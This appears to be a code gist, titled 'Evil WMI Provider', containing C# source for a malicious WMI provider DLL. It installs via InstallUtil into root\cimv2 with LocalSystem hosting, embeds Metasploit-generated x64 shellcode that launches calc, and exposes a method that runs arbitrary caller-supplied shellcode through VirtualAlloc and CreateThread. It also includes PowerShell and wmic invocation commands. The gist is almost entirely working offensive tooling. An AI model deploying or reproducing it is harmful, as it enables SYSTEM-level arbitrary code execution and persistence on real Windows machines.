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Evil WMI Provider
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| // Based On LocalAdmin WMI Provider by Roger Zander | |
| // http://myitforum.com/cs2/blogs/rzander/archive/2008/08/12/how-to-create-a-wmiprovider-with-c.aspx | |
| // Adapted For Evil By @subTee | |
| // Executes x64 ShellCode | |
| // | |
| // Deliver and Install dll | |
| // C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /i EvilWMIProvider.dll | |
| // Invoke calc for SYSTEM level calculations | |
| // Invoke-WmiMethod -Class Win32_Evil -Name ExecShellCalcCode | |
| // Invoke-WmiMethod -Namespace root\cimv2 -Class Win32_Evil -Name ExecShellCode -ArgumentList @(0x90,0x90,0x90), $null | |
| // Or... wmic.exe path win32_Evil | |
| using System; | |
| using System.IO; | |
| using System.Collections; | |
| using System.Management.Instrumentation; | |
| using System.Management; | |
| using System.Diagnostics; | |
| using System.Reflection; | |
| using System.Configuration.Install; | |
| using System.Runtime.InteropServices; | |
| using System.EnterpriseServices.Internal; | |
| [assembly: WmiConfiguration(@"root\cimv2", HostingModel = ManagementHostingModel.LocalSystem)] | |
| namespace EvilWMIProvider | |
| { | |
| [System.ComponentModel.RunInstaller(true)] | |
| public class EvilInstall : DefaultManagementInstaller | |
| { | |
| public override void Install(IDictionary stateSaver) | |
| { | |
| new System.EnterpriseServices.Internal.Publish().GacInstall("EvilWMIProvider.dll"); | |
| base.Install(stateSaver); | |
| System.Runtime.InteropServices.RegistrationServices RS = new System.Runtime.InteropServices.RegistrationServices(); | |
| } | |
| public override void Uninstall(IDictionary savedState) | |
| { | |
| try | |
| { | |
| ManagementClass MC = new ManagementClass(@"root\cimv2:Win32_Evil"); | |
| MC.Delete(); | |
| } | |
| catch { } | |
| try | |
| { | |
| base.Uninstall(savedState); | |
| } | |
| catch { } | |
| } | |
| } | |
| [ManagementEntity(Name = "Win32_Evil")] | |
| public class Evil | |
| { | |
| [ManagementKey] | |
| public string Member { get; set; } | |
| public Evil(string sMember) | |
| { | |
| Member = sMember; | |
| ExecShellCalcCode(); //Lauches ShellCode Not Necessary, Just here for Testing. | |
| } | |
| [ManagementEnumerator] | |
| static public IEnumerable DoEvil() | |
| { | |
| string sName = "Hello, World!"; | |
| yield return new Evil(sName); | |
| } | |
| [ManagementTask] | |
| public static void ExecShellCalcCode() | |
| { | |
| // native function's compiled code | |
| // generated with metasploit | |
| // This is x64 Shellcode that start calc.exe | |
| // TODO: Experiment with x86 and x64 detection | |
| byte[] shellcode = new byte[272] { | |
| 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52, | |
| 0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48, | |
| 0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9, | |
| 0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41, | |
| 0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48, | |
| 0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01, | |
| 0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48, | |
| 0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0, | |
| 0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c, | |
| 0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0, | |
| 0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04, | |
| 0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59, | |
| 0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48, | |
| 0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00, | |
| 0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f, | |
| 0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff, | |
| 0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb, | |
| 0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c, | |
| 0x63,0x00 }; | |
| UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, | |
| MEM_COMMIT, PAGE_EXECUTE_READWRITE); | |
| Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length); | |
| IntPtr hThread = IntPtr.Zero; | |
| UInt32 threadId = 0; | |
| // prepare data | |
| IntPtr pinfo = IntPtr.Zero; | |
| // execute native code | |
| hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId); | |
| WaitForSingleObject(hThread, 0xFFFFFFFF); | |
| } | |
| [ManagementTask] | |
| public static void ExecShellCode(byte[] sc) | |
| { | |
| // native function's compiled code | |
| // generated with metasploit | |
| // Takes Shellcode as an input parameter | |
| // Invoke-WmiMethod -Class Win32_Evil -Name ExecShellCode -ArgumentList @(0x90, 0x90, 0x00), $null | |
| // $null parameter required based on: | |
| // http://ss64.com/ps/invoke-wmimethod.html | |
| byte[] shellcode = sc; | |
| UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, | |
| MEM_COMMIT, PAGE_EXECUTE_READWRITE); | |
| Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length); | |
| IntPtr hThread = IntPtr.Zero; | |
| UInt32 threadId = 0; | |
| // prepare data | |
| IntPtr pinfo = IntPtr.Zero; | |
| // execute native code | |
| hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId); | |
| WaitForSingleObject(hThread, 0xFFFFFFFF); | |
| } | |
| private static UInt32 MEM_COMMIT = 0x1000; | |
| private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; | |
| [DllImport("kernel32")] | |
| private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, | |
| UInt32 size, UInt32 flAllocationType, UInt32 flProtect); | |
| [DllImport("kernel32")] | |
| private static extern IntPtr CreateThread( | |
| UInt32 lpThreadAttributes, | |
| UInt32 dwStackSize, | |
| UInt32 lpStartAddress, | |
| IntPtr param, | |
| UInt32 dwCreationFlags, | |
| ref UInt32 lpThreadId | |
| ); | |
| [DllImport("kernel32")] | |
| private static extern UInt32 WaitForSingleObject( | |
| IntPtr hHandle, | |
| UInt32 dwMilliseconds | |
| ); | |
| } | |
| } |
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| [byte[]]$sc = @(0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00 ) | |
| Invoke-WmiMethod -Namespace root\cimv2 -Class Win32_Evil -Name ExecShellCode -ArgumentList $sc, $null | |
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